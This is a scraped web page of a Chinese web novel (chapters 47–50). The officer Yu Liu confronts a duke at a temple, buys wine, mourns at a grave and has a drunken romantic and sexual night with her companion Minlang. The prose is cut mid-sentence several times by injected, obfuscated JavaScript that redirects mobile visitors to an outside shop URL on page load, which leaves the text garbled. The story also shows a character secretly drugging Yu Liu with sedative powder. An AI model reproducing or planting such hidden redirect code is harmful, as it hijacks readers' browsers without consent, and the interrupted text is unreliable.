;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445678|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,郑重道:“就是,大人会很忙的吧,后面还有时间陪我吗?” 这几日忙着和宝儿斗,看到章囚的时候他才想起来这件事:“一天十二个时辰,说不准,嗯,大人和我在一起的时间,还没同其他侯官一起的多。” 原来重点在没空上,玉流心里算了算:“这倒是真的。” “那我不是很可怜吗,”他拿着那张漂亮的脸挨近,“那就现在多陪陪我吧。” “不要撒娇。”话是这么说的,心里已经吃了他这一套,玉流自己都不知道对他纵容的底线在哪里了。 他枕着她的手在睡。 玉流没什么精神,仰着脸去看木窗外的斑驳竹林。细细长长的竹子见多了,她突然开始想念柏木了……嗯,怎么会这样? 外头暖溶溶的日光照到身上,疲惫如蒸腾的朝露,一下就散了。 不知从什么时候起,眼皮开始打架,起了头就是一而再,再而三,最后的最后,想着在自己家里,绷紧的脑子彻底松了下来,身子一歪就睡了过去。 而原本熟睡的人睁开眼,把人抱至床上。 他能不安什么,总归是不知道能瞒多久,不知什么时候就要离开。玉流这身子,又这样瞎折腾,他是真的心疼。 “明明这么累,为什么要硬撑呢,”摸着玉流冷俏的脸蛋,他轻声道,“师妹,来都来了,睡一觉吧。” 他从床底拿出院子捡来的废弃扁盆,碾灭里头点点燃烧的粉末。这次剂量放得很少,只会安神,不会入梦。 玉流已经睡了过去。常年同人打杀,睡觉都要睁一只眼留心的习惯下,在回崇州前,她已经很久没有睡个一个安稳觉了。此刻侧躺蜷缩着,半干的长发盖住脸,他在她身旁躺下,玉流的头顶抵着他的下巴,安安静静地靠在他的怀里。 很依赖的姿势。 这世上不会有人比他们更契合。 玉流身上还没干透,有着水珠的湿意,有点冷,没关系,他是暖和的。他小心地靠过去,很淡的皂角香萦绕在鼻尖,没有盖住原本的女儿香。 蹭蹭蹭蹭。 呼出的气像绒毛一样落在玉流的脸上。 只是他忘了,人一旦高兴过头就会得意忘形,可能会带来报应。 “师兄。” 这一声让他整个人都抖了一下,怀里的睡美人支起脑袋朝他拱了拱,半梦半醒间在他身上上摸下摸。 他保不准玉流此刻的状态,谨慎道:“大、大人,不能再摸了,会出事的。” 他忍着,违背意愿地想要去阻止,玉流却突然停下了动作,她摸到了想要的。闭着眼,熟练地拉起他的胳膊,撩起他的袖子:“师兄……” 他的心跳得快要骤停了。 下一刻,玉流低头狠狠地咬了一口。 力道不算大,但牙尖,皮是肯定穿破了。玉流舔着牙吃到了点血味,心满意足地笑了,呢喃道:“痒,别吵吵……” “……哎。”松了一口气的同时又有些难过,真的一点都发现不了吗?宋繁声你可真够差劲的。 两个时辰后,被窝里空了一块,冷气进来,她往深处钻,又睡了回去。不知过了多久,人被晃醒。 “大人,大人,醒醒,醒醒。” “唔,别推,困。” “不能再睡了,有、有人说要见您。” “嗯,我怎么……睡过去了,算了,谁要见我?” 47. 人望山 玉流站在敬国寺门外,泄愤地碾踩地上的断木桩,心头大骂安国公这个老东西,摔成这个惨相了还要给她找不痛快。 离她几步远的外侯官战战兢兢,他虽未跟着玉流进去,但也都听见了,这才相见,客套话都不说,安国公一句“是德明不懂事,害得玉大人不仅白跑一趟,还丢了什么……天下第一”就把屋内的气氛推至一个寒谷低潮,冷得他在外头都要打哆嗦了。 他们大人也不遑多让,回的是——“呵呵,那你是该道歉的。那句话怎么说的来着,你只是失去了一个儿子,我失去的可是江湖赫赫有名的天下第一”。 片刻的寂静后,背后的薄墙震得落了一层的白灰。姜是老的辣,玉大人被戳到痛处,越想越气,一脚踢开拦路的破桌板,按下老头子,臂骨横亘在他胸口。 佛寺清苦,安国公又自请一切从俭,不出三日便瘦得只剩下了骨头。他被玉流捶着喉管,声音从嘴角磨出:“真是难得,玉大人居然这么在意这些虚名,哈,哈,哈哈哈哈……” 颈子似乎快要断掉了,他也不想真的死,偏头大叫:“小侯官,小侯官,救命啊——” 这都点到外侯官的头上了,他不能再装作不知情,只得破门而入:“大人,大人,使不得,不要动手。” “我知道,我只是替咱们国公爷看看腿,”玉流回头,冷静的脸上看不出一点杀意,将长辈放下来,露出点虚伪的笑,“腿看起来没坏,脑子就不是了。” “毕竟人老了。”安国公咯着喉咙,吞下一口血。平静地爬起来,拾掇好桌子,抚平杂乱的头发,慢悠悠地坐回蒲团上,仿佛刚才差点没命的不是他。 那张宠辱不惊的脸上似乎有看透世俗红尘的超脱,他学着僧人的模样,双手合十行礼:“玉大人,慢走不送。” 诚心的吧这老东西,她就不该来。玉流折磨够了死物,吐出一口恶气:“之后若有人问起来,你该说什么就说什么。” 是她失态了,有人怪罪下来,她会担责。 “是,”外侯官胆战心惊地点头,心里放下了一块大石头,“还有一件事,刚才住持来过了,问大人有没有空。” “秃……”玉流清了清嗓子,重新道,“不鸣住持说了什么?” 外侯官想了想,小心回复道:“呃,住持托我问问大人有没有空,说来都来了,要不要去拜个佛?” “不去,我没空。”一个个的,都挑着今天来,她烦得很。 走出敬国寺,山下的烟火气一吹,玉流陡然变了一幅模样,愠色尽失,嘴角带着点微凉的笑。老东西手段渐涨,也会调查威胁她了,就是可惜了,活人都没什么用,更何况是死人。 玉流掀起眼皮,静漠的眸子落在岔道,良久后,她走进了西河巷。 西河巷不在玉流的管辖范围内,她很少过来,唯一的印象是这里去城外很近。正好,她能顺道去青山一趟,免得来回跑了。 她还在想,身后便是熟悉的一声“大人”,听着便知来者颇为欣喜。玉流身形微顿,她回身看去:“敏郎?你长狗鼻子了,这都能找到我?” 敏郎红着眼,噔噔噔地跑来,轻轻埋怨:“大人不回来,那、那就只有我来了。” “就你一个吗?”玉流问着,侧身朝后看去。 敏郎吃味了:“我一个还不够吗,大人,还想有几个!” 玉流:“……我问的是宝儿。你该看着他们而不是出来,人生地不熟,迷路怎么办。” 敏郎嘀咕:“可以问,反正死不了。” “哎,你这怨气怎么能这么大?” 敏郎活像个怨偶:“大人陪不了我,那就我来陪大人。” “你还真是……随便吧,”因为玉流忽然发觉是这个道理,“你怎么知道我在这儿?” “去、去侯官署问的。” 半个时辰前,侯官署热闹了起来,无他,敏郎太扎眼了。清秀的小郎君跟不要命似的徘徊在门口,像是混黑的墨里掉进一滴清水。 简单来说,不合规矩。 对他这种不知死活的行径,通常来个外侯官先提醒,不知者无罪,知了再警告,再不走,那就只能吃牢饭了。原本外侯官们也是这么打算的,奈何夜里给玉流送过人的那位也在,都不敢吱一声,转头就去向章囚禀报了此事。 章囚亲自遣散围观的人群,态度不错道:“我记得你叫……敏郎是吧,玉流没和你说过吗,这里不是随便什么人都能来的地方。” “嗯,”敏郎伸长脑袋往里头看,“我家大人呢?” 章囚挡住他的视线:“她不在这里。” “那、那告诉我,我自己去找她。” 说话温吞又执拗,偶尔会磕巴,感觉有点病,总的来说,除了脸,似乎一无是处,玉流却选了他,章囚对此持保留意见,维持点脸面的平和:“可以是可以,但已经快四月下旬了,玉流有的忙。小郎君看起来是分得清轻重的人,应该懂得不该给她添麻烦的道理,不是吗?” 章囚这番说教让敏郎皱眉,他并没有忽略这位刮过胡子,理了鬓角的指挥使,这身打扮总不是给里头的那群男的看的。 果然,这年头自作多情的人就是多。 章囚也察觉到了他的目光,成熟稳重的男子朝他友好笑笑,回头喊:“有人知道玉大人在哪儿吗,来和这位小郎君说一声。” “……我问了一路才找到的,”敏郎道,“大人到这儿,抓人吗?” “不是。被蠢货刺激到了,郁闷得很,来买点酒喝,再……”玉流没说下去了,“走吧。” 玉流在西河巷的犄角旮旯里找到了这条街唯一的酒坊。店铺极小,气势贼高,贴着春联的两道窄窄门框往上,挂着“天下第一酒”的牌匾,谁封的,真是够大言不惭的。 “这位客人——啊,”掌柜早就听见门外客人的脚步声了,走出来一看,哎呦不得了,“玉大人啊,贵客稀客,您要来点什么?” “不知道,听说你这儿酒不错,有江湖味儿?” “啊,正是,小的过去走南闯北,学了一身酿酒的好本事,”掌柜看看跟着进来的小郎君,脑子转得飞快,“大人是带新人来巡街吗,要买点吗,我可以给大人打个折。” “先看看,”玉流随意打量这间磕碜的酒坊,“有什么好酒吗?” 掌柜就等这句话了,指着地上一排大小不一的坛子,挨个介绍:“这是老酒,入口辛辣回甘,祛湿壮阳之妙品,呃……大人应该不需要。这是果酒,大人喜欢甜口还是酸口的,小的这儿有梅子酒,杏子酒,还有京中时兴的梨花酒,菊花酒,或者,或者是江湖上最寻常的浊酒这儿也有,用料那叫一个讲究,都是一等一的佳品。大人,也不是小的自夸,这酒坊也就地段不好,不然靠小的的手艺……” “掌柜……停一下,这字是不是错了,”玉流叫停他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13463243|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王婆卖瓜,指着墙角吃灰的山水画,“‘杳霭流玉’到你这儿就变成‘杏霭流玉’了?” “啊,这个啊,嗐,”掌柜钻回柜台,眯着眼看了许久,想起了自己被骗的事迹,挤着嗓子来了气,“这不是小的写的。大人有所不知,店里不知哪一年来了个走江湖的,没钱想喝酒,给了这幅画抵债,人走了小的才发现字错了,好好的‘杳’给我漏成‘杏’。” 玉流觉得自己在说什么低级的蠢话:“你可以自己加一笔。” “多麻烦,反正也不挂出来,”掌柜做生意久了,心思是百转千回,听什么都觉得能挣钱,“大人是有兴趣吗,要不小的打个骨折价卖给玉大人。这画能被大人看见也是有缘,‘玉流流玉’也是巧妙,不如……” “不用,我只是看到了而已,”见他还要推销,玉流直接道,“再说酒都不买了。” 掌柜:“啊啊啊,小人不说了,不说了,那您和这位小侯官,是侯官吧,坐这儿等等,小的去给您倒点酒尝尝?” “不必麻烦了,老酒来个七八坛子吧。”玉流也不久留了,站在门口,望着远处的孤山,不知在想些什么。因为掩饰得太好,根本没人发觉她那点微末的哀恸。 “好嘞,”掌柜巴不得遇见好说话的客人,拿出算盘,噼里啪啦一阵敲,“您看看,零头就不用了,小的再送您两小坛子。” “不用抹了,凑个整好了,”玉流摆手道,“我多加点钱,掌柜你找人搬两三坛到我府上,其余的送到侯官署。” “诶,多谢大人,多谢大人,”掌柜接过银子,乐得一口牙都要露出来了。笑了会儿,一拍脑袋,“对了大人,您手里的那是烈酒,不要贪杯。” “知道,敏郎你跟牢。”玉流敲了下敏郎的手,哼着不知名的小调,潇潇洒洒地拎着两小坛子,门槛都没踏出去,就被拉住了手心。 “怎么,”玉流甩不开他,“我不是让你去盯着吗?” 敏郎:“大人不一起回去吗?” 玉流:“我有事。” 那就是不回去,敏郎换了个问法:“我不能,一起去吗?” “不能,”玉流直白道,“我去青山祭死人,你跟着做什么?” 他说不知道,犹犹豫豫地问:“是、是长辈吗?” “算是。” 敏郎瞬间就理直气壮了,挺了挺胸膛:“那我,不是得见见吗?” 心头那点微末的伤感就这么被吹走了,玉流忍着笑:“知道我要去祭谁吗就说要去,我去祭被你替身的人。” “啊,”敏郎顿时安静了,极慢地松开手,做着替身该有的自觉,“我、我不去了。” 那道倩丽的身影不见了好久,他还站在原地。玉流说了假话,她不可能去祭拜他。 他走到玉流方才站着的地方,学着她抬头望。正午微热的风将他攥皱的衣袍吹起,好似抚平身外的褶皱。青山遥遥,她去看的谁? 青山顶,玉流找了处背风的小坡。她坐下来,随手挖出来的土坑里,金纸搭成的通天塔一点点燃起,燃出浓郁的渺白烟气。 像雾霭,久久不散。 她朝东望去,一道道灰碧色的群峦被白霭湮没。一山还有一山高,她在山之下,人望山,山中人,不见山外人断魂…… 这次算是一时兴起,她说:“没什么准备,将就一下,不过您,想来也不会在意这些俗物……提前祝您,生辰吉乐。” 48. 醉扶归 “少主,放过我吧……”被剖面之刑折磨得半残的人如烂红的黑泥,浑身上下微微一碰就能挤出血来。他忍着剧痛,扶着掉下来的半张脸皮,爬过来,抓住暗红的衣袍,他要抓住唯一的机会。 “放过你?我让你进月部是信任你,你倒好,杀个人都能把尸体丢了,被黥了什么无涯贼首不说,你还知情不报,我看你在月部呆久了,自己姓甚名谁都忘了,不堪大用。你说说,做出这等蠢事,我怎么还能放过你?” “不、不,少主,我可以将功补过的,只要少主一声令下,我会,会为少主把那叛徒抓回来的。” “就凭你?哈,你哪里会是宋繁声的对手,能杀他的只有一个,”完好的那半张脸被短刀做的扇面抬起,正是那名安德明所招揽的剑客,“有这决心,不如帮我做件更有用的。” “少、少主,您要让我做什么?” 他俯身低语:“……去把人给我引过来。” 剑客大骇:“可、可那位是……” “是又如何,啊哈哈哈哈哈,回天城里,不是正好有个绝佳的饵料吗?” 狠毒又靡艳的笑让人不寒而栗,剑客额头苍白的冷汗交织着碎裂的骨血,从银白的刀尖滴下…… ——滴答。 冰凉微咸的一滴沿着嘴角滑落,玉流醒来,揉着酸麻的腰背,下雨了吗? 不是雨。 糊住的眼中,除了白雾还是白雾,天地茫茫,呵气成雪。太漫长的思念如暴雪,压得她喘不过气来。 一时半会儿很难说清这到底是好是坏,早已消失在寒山风雪中的记忆复苏,她如同得了雪盲的行人,恍恍惚惚中,窥见了儿时噩梦的一角。 “呵。”玉流讥嘲,他娘的真烦。她忍着怨气,在青山又坐了很久。土坑里烧得黑脆的纸灰,边缘缀着点猩红,快熄了。 玉流抓起还剩最后一口酒的坛子,倒下去,泼酒成花。 “想来这是第三年,今年有人提到了您,故而早了几天,来年……若我还记得,来年会再来的,”她想了想,还是忍不住抱怨,脸上浮起一层很浅的小女儿情态,“您过去还真是识人不清,尽给我找麻烦。” 她说完,又觉得可笑:“随口说说,不作数的,我走了。” 掌柜没骗人,酒是烈的,但更多的是苦,像层沾酒的纸衣裹住唇齿,消退不得。大苦之下,后劲还没上来,玉流醉意不多,走路也算稳当,就是慢了点。她走下山,半黑的路上扶着墙,终于回到了自己的家门口。 “大人看不见我吗?”墙角一道影子闷闷出声。 “看得见。”怎么可能看不见。 清瘦挺拔的少年郎,束着高长的马尾,一身暗蓝点金的衣袍,懒洋洋地斜靠在墙边。得亏她这儿附近没什么人住,不然敏郎身上已经被塞了好多香囊了。 “这身打扮哪里整来的?”好看得她头昏眼花,都要忍不住动手了。 敏郎由着她这里摸摸那里捏捏:“唔,我回来不久,有位自称,什么郡主来过了,嗯……说了好多话,送了好多东西,说、说是什么见面礼,我拒绝不了。也不是只有我,小孩子都有。” 玉流已经知道是谁了:“没关系,赵颐人来疯,她没和你说什么奇怪的话吧。” 敏郎托着脑袋:“嗯,什么三个人会更好玩吗?” “……忘了。”赵颐这个唯恐天下不乱的女混子,自己玩三人被她看见了还想报复回来吗! 玉流按住他的脸,脸上的肉被掐起来:“忘了!” “好。” “乖乖。” 玉流很满意地拍着他的脸,忽然觉得门口有点亮堂了。顺着光看去,原来是门旁肆意向上的凤尾竹里,挂着一盏灯笼。 灯笼很小,绘着蟾宫玉兔,银箔的描边掉了,半只兔子抱着火红的月亮,傻里傻气的。她用浑浑的脑子想了想,这灯笼好像是去年正月十五玩什么赢来的。 发觉她在看,敏郎拍掉背上的墙灰:“宝儿不知从哪里翻出来的。大人不喜欢,我去把它拿下来。” “没有,没有不喜欢,”细长的竹叶拨动灯穗,好似无声的风铃,玉流看得出神,“我……我以前……都是黑的。” 或者说,从来都是她等别人。山路太长,灯太少,她太小。 玉流突然很想流眼泪。 三年之前她不会想到有朝一日自己身边还能有人抱住她,说“我很想你”,更不会想到有人能得寸进尺地问“大人,有想我吗”? 玉流把眼泪生生憋了回去:“我们只是分开了半天好吗?说得这么哀怨,别人听到了还以为我走了十天半个月了。” “小别胜新婚。” “不要乱用俗语。” “那……我在当石头,望妻石。” “不要听信赵颐的话,不要油嘴滑舌。” “噢,好吧。”他低头,又抱了一会儿,嗅了嗅,皱起了鼻子。 “大人喝酒了。”敏郎没有问,因为他很确定。 “还有味道?”玉流也嗅嗅,没有啊,小狗鼻子这么灵吗,白在山下吹了那么久的风了,吹得身子都冷了。 敏郎松手,退后:“嗯,头发丝里都是,喝了多少?” “就那两小坛子,山里烟熏得热,我当水喝了,”玉流还是第一次被这么嫌弃,挠着头发,“有热水吗,我回屋洗洗。” 他想了想:“唔,那要等一等了。” “没关系,”玉流摸着微热的额头,好像有点上头了,“我正好先坐一会儿。” 一炷香之后,敏郎推开玉流的房门,看见他的外侯官大人抱着腿坐在地上。 他不耻下问:“大人,为什么要这样?” “因为累,”玉流垂着头,怨气十足,“上班如上坟,事事不顺心,我的坟头草都有八尺高了。” 好像在说一些众所周知的胡话。他抱着水盆靠过去,细看她。抬起的脸还是寻常的颜色,耳后已经是薄薄的一层红。 不太对,他试探:“嗯,要擦脸吗?” 玉流伸出手臂:“擦。” 敏郎:“……” 他唉了声,半蹲着把湿热的面巾盖在她的脸上:“醉了吗?” 可脸还是静白的,也就眼神有点迷,所以什么烈酒间歇这么长,这个时辰了酒劲才上来,他下次去问问,自己偷藏一点。 “我没醉,”玉流拿下面巾,严正声明,“没有。” 敏郎不顺着她,接过面巾给她擦手:“醉酒的人,嗯,都是这么说的。” “胡说,”玉流按住他,比划自己的手,“你看我的眼睛,这是一,二,三。我很清醒。” “大人……自己伸指头,自己数数,证明不了什么的,”他配合幼稚鬼,“大人,这是几?” 玉流睁大眼睛一动不动地看着,而后开始数数,脑袋一点一点:“一……二……三……” 他无奈,识破了她的想法:“大人是不是觉得,说多了,一定会有一个撞上的。” “嗯嗯。”玉流笑得可开心了。 有点傻,看来真的醉了,就算没醉……就当她醉了吧。 有人胡闹的时候,另一个就会变成大人了。今夜的敏郎被迫当起了玉流的大人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13482481|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他放下面巾,熟练地开始哄人:“地上凉,去床上好不好?” 玉流:“不要。” “我饿了。”她又道。 “嗯,那大人想吃什么,我大概不会做,但、但我可以去买,天黑了,不知道会不会迷路,”他立马想出了方案,“没关系,我可以问,我不在的话,嗯,我、我让谁来看着……” 玉流抱着脑袋,心想他怎么那么多话,每句都这么短,还不知什么时候磕巴一下,像她在青山里听了几个时辰的鸟叫一样,又烦又费劲。 “吵,闭嘴。”玉流一把扯过他的衣领,满身酒气的吻渡过呼吸,牵出细长的银丝。 没有欲望的,纯粹的亲吻。 “能别说了吗,我不饿了。” 敏郎愣在原地,迟迟没有回答。这下他信玉流真的醉了,清醒的话她不会这么做。 识时务者,怎么能就到此为止呢,他摸着湿软的唇:“甜的。” 玉流的半个脑子还是好使的:“不是,那酒可苦了。” “可我觉得是甜的,那……我再尝尝吗?” 玉流定定地看着他,似乎在理解他的意思。她应该是想明白了,又凑了过来,含住了他的舌尖,而后轻咬,得出的还是相同的结果:“苦的。” “因为……”敏郎欲言又止,“那、那是我的血。” 他吐出舌头,给她看明显的伤口。 玉流啊了声,舔着自己的尖牙:“对不起。” 他乘势喊疼:“再亲一亲,就不疼了。” “真的吗?” “嗯。” 这次由他主导,清浅的水声中,直到玉流快要闭气过去,他才松开她。食后餍足的小郎君眉眼都是温柔的,哄着她说话:“甜的是不是。” “是……是。”玉流无意识地点头之后,长久没有抬头。旁边是两道低矮的影子,挨得很近,她摸着逐渐融合的影子,乱掉的思绪连通了起来。 这好像是个转移注意的好法子。 “你——”她往后坐了点,直白又隐晦地询问,“睡吗?” “啊?”敏郎身都坐直了,两道影子瞬间分离。 玉流以为他不想:“不睡算了,我自己睡。” “不不不,睡睡睡,”他说完,低头看了眼自己,想起了什么来,“那我、我准备一下。” 玉流撑着脑袋,觉得可行,她也要准备一下。 敏郎洗了脸洗了手回来,玉流依旧坐在地上,并强硬地要求他脱衣服。 “为什么大人提议的,却要我主动?” “我懒,”玉流说话越来越短,能用就行,“你脱。” “可、可是地上不干净。” “那……唉你别脱了,上去。” 敏郎就这么被推到了床上。坐在柔软的锦被上,他还在晃神:“这像什么,重、重温旧梦吗?” “不是,是你我清醒的初次,记住,我没醉!”坚称自己没醉的玉流亲了亲他的唇,吃到了一点点草末的苦味。 “你用了牙药吗,怎么这么苦,比我的酒还苦,”玉流苦得吐舌头,“干嘛这么讲究,我嘴里都只有酒味。” “就、就是要有点什么比较好,没关系,我不介意的,我其实……尝不大出来。”这次太匆忙了,药吃得太急,囫囵吞枣,苦涩尽数堆在舌苔上。 “那就好,小郎君,你坐着不要乱动,先让我温故一下。” “温故什么?” 烫与凉的额头相抵,玉流垂眸盯着他的领口,眼睛又红又亮:“署里以前让仵作来授课过,我一直没找到什么机会……” 49. 皮与骨 虽然手里的动作堪称急色,面上却是正经万分,玉流像个好学的乖学生,手掌克制,只落在锁骨之下。抚摸着薄薄的料子,衣料柔软服贴,上面暗金的松石云月浮动在指尖。 是浮花绣吗,玉流分出一点心思,想着赵颐够大方的,估计后面会来找她要什么,左右不过是跟她不成器的兄长有关。 “大人,在想什么?” 这么敏锐吗,她一分心他就发现了。玉流点在他的胸口,低声道:“我在想,我该做什么?” 所以她先要干什么来着? 玉流在混乱不清的记忆里搜寻那堂压根没认真听的小课。 都说新来的倒霉,有点什么活动就要被抓去当壮丁撑场面,章囚诚不欺她。她想着去就去呗,说不定还真能学到点什么,只是她高估了诸几的靠谱程度。 诸哥不知道怎么选的人,开门见山一通吹,总结一下,来的仵作德高望重,马上就要告老还乡了,离京前特意来给新进署的小辈们传授他的最后一堂课业。 可惜除了这一点,其余的玉流都没听清。老仵作乡音重得她一个字都听不懂,只记得死死死,活活活,头头头,还要应付老人家,对对对…… 一大半的时间里,玉流都在盯着桌上的骨头发呆。她记得她的桌上,摆着的是一小截锁骨。 不比此时,锁骨上长出血肉,拥有了一副好的皮相。 月白的指甲滑过,被静置在桌上的冰冷骨头也像是有了生机,温温热热的,能摸到肌肤里裹着的红血在反复无常地流动。 血是活的,人快死了。 他好像真的不太行。 平时见到个人就争风吃醋,胆子大得离谱,怎么现在就弱成这样了。 可爱。 好玩。 喜欢。 他哽咽哀求:“能不能别……” “不能,我在温习,”她和他打着不似商量的商量,“知道吗,仵作后来把那块锁骨送给了我,听说是他亲自剔出来的,什么时候给你看看,很漂亮的一块,我给你欣赏了,作为代价,你先忍着。” 指腹点了点,控着力道按下,玉流压着笑:“实在不行,装死人吧。” 敏郎咬着唇,几近崩离:“好、好……”装死人,他应该是擅长的。 玉流最初是睁着眼的,手中的骨头同她记忆里的没什么差别,就是死人和活人,还是不能一视同仁的。 依仗屋外斜斜落进来的月色,浅浅薄薄的光中,玉流道貌岸然地和他说这是哪块骨头,小郎君面红耳赤地抖着,还要配合地点头,双手紧紧陷进棉絮里,额头和手背上都是凸起的青筋。 她不觉得自己过分,直到被他嗔怒地瞪了一眼。漆黑的瞳仁边,是含着水花的细密红丝。 双眼都红了啊,玉流手里的劲儿不轻,脸上冒出点点热,倏地又被酒意盖了过去。 玉流瞪了回去,手下用力地捏了一把,听见他闷闷地呜咽。玉流笑着点点头,顺便闭上了眼睛。 伴着夜风,和柔的月光打在脸上,有点凉。 睁眼太久了,眼底的酸涩勾出点泪意。她缓了缓,低下头,发髻早就散了,一半的发丝如悬流落下,像隔着千里的鹊桥,含着春气,垂首引人来。 玉流犹如盲人摸骨,一块一块的骨头连缀成完整的躯体,在黑色的幕布中描摹出他原本的模样。 没有了外头这层美人皮,却依旧有着美人骨。 她在这条道上走得太久,见过的人太多,无数各有千秋的美人,杀多了,也就那样。人死灯灭,剖皮剔骨,观美人从来如观白骨,而今夜却要同人骨共眠。 如果没有这层皮,他们是不是会一样?深埋的容颜远去,渐明渐晰地变成了另一张相似的脸。很像,但还是不同的。 宋繁声,不会这样。 玉流的手蜷起,停在了他的腹部:“我以为你只是瘦。” 很微妙的地方,被吊着的敏郎呼吸很急:“我、我又不是真的小白脸。” “是吗,”玉流睁眼,俯身贴近,离他一拳的距离,“那要看和你谁比。” 他很想把玉流挡在中间的手抽走:“谁?” “嗯……”脑子里溜过一串的名字,醉得半死的人在看见敏郎鼓起的嘴巴时,难得灵光了一把,“这个时候我如果说出别人的名字,你是不是会提裤子走人?” “是——!” “那和我比吧。” 这还差不多。 敏郎坐起来,腿骨相触,发抖的手揽过玉流的肩,挺直脊背,微颤的臂膀像棵装腔作势要把她罩住的小树:“比大人高,比大人壮。能把大人抱起来,就够了。” 玉流没有很认真在听,他忙着证明自己,没有发觉这个坐姿让她不太舒服。 她晃着脑袋低头看了一会儿,跪坐的膝盖往上抬了抬:“你说得对,你不是。” 脸上的酡红已经褪去了不少,玉流却觉得自己好像要更醉了。捱下燥热,离热源远了点,外侯官仍记得要贯彻始终,一本正经道:“该我了,这儿再下去的话是盆骨,嗯,邦邦硬……哦,这块骨头下去……” 玉流停顿,新奇得很:“唉……唉!” 敏郎唯有沉默:喝醉了依然是个女流氓。 女流氓说:“以前闲来无事的时候我进地牢观摩过,那是个死囚犯,一群人下手没个轻重,人给弄死,挺没意思的。噢,你放心,我就见过那么一次。” 敏郎继续沉默:放心不了。 屋外风声渐响,同屋里的人声一起,一声声的,持续又骤停,清亮又低柔,催人神游。 玉流的眼神逐渐涣散,好像又回到了几年前在万丈峰时的那个黄昏雨夜,枝头成双成对的翠鸟在绵长的雨丝中吟唱颂情,她坐在树下,听着已成的喜事。 “叽叽……咕咕,叽叽咕咕,啾啾……啾啾……” 没完没了的,此起彼伏的,太吵了,吵得她头疼。随手捡起块石头在手心里掂着,一下,一下,在扔出去的前一刻,玉流咬牙忍住了,不至于,没必要。它们不走,她走,不扰鸟好事,为自己积点德。 她刚起身,叫得正欢的翠鸟却突然飞下枝头,红绿相缀的山中雀在她眼前变成了勾魂的男鬼,把溢血一样的艳红飞羽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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耳后像是汩汩的泉眼,水珠一滴滴冒出来,下颌线是泾渭分明的横截两面。 他好像,好像有点起皮了? 光动动手就能烧成这样吗,还是赵颐给他用了什么劣等的粉膏? 玉流偏过脸,空蒙的眼睛眯起,她看见他耳垂顶端有颗小痣。 小小的,如溅开的墨滴,像是一颗心。如果不是挨得这么近,如果不是她凑巧偏过来看,她都不会留意到。 玉流眨着眼睛,张嘴咬了一下。 “啊……” “爽吗?” “……爽。” 她安抚地舔了舔,按住他的肋骨,手中用力,轻而易举地推到了毫无防备的人,继续她没能说完的话:“是不是该轮到我了。” “唉?什么轮到?” 容不得他多问,玉流弯下身从床底扒拉出一个四方木盒,眼底游动着恶劣的笑意:“这个,我也准备好了。” 50. 不可以 太熟悉了,敏郎的眉头不禁抖了好几下。他不是把这盒东西藏起来了吗,玉流为什么还能找到! “你够有本事的啊,会藏我东西了,”玉流酒品很好,醉酒了说的话井井有条,和他算的账一笔不落,“真把自己当成小狗,不和我说一声就偷偷摸摸叼走,你怎么不直接刨个坑埋了算了。” “来不及,”他还真的考虑过这个,“如果来得及,我会的。” “那可不行,还好我眼尖,”玉流得意地拿起一件,期待得很,“择日不如撞日,咱们来玩吗?” 他真的想不通这些到底有什么好玩的,一个不小心还可能会伤了,而且以玉流这个不知轻重的状态,要是真的由着她胡来,伤的应该是他。 这就万万不行了。 “一定要用这么些吗,这么,这么……”他甚至难以描述这柄东西,再想想她的,想想自己的,敏郎的头摇得跟拨浪鼓似的,“会出事的。” 玉流也来劲了:“你都没试过,怎么知道会出事?” “我是正经人家的好孩子,”他这次都不让她说了,护着自己,“你不、不能强迫我。” “这和正不正经有什么关系,你怎么知道不正经的人家里就一定有这个?” “这是什么怪道理?”他算是明白了,跟醉鬼讲道理是自讨苦吃。 “我是很传统的人,”小狗的脸变了几个色,依旧坚定,但小狗又没有坚定很久,闭上眼睛视死如归,“……大人如果真的想,我、我可以,所以,大人不要去玩别人。” “我为什么要去玩别人,”玉流拍着胸脯,喝醉了对自己的力气都没了数,震得直咳嗽,“咳咳咳,扪心自问,我虽然杀人放火,名声不好,但是,说了会负责,就会负责,你不是有我画押的婚书了吗?” “……”敏郎,“这话说出来,大人自己会信吗?” “唉,小郎君,我在你眼里是什么很坏的女人吗,你怎么一点都不相信我,虽然你是替身……” 又是替身,看来她对他的定位始终都没有变。他不太高兴地重复:“虽然我是替身……” 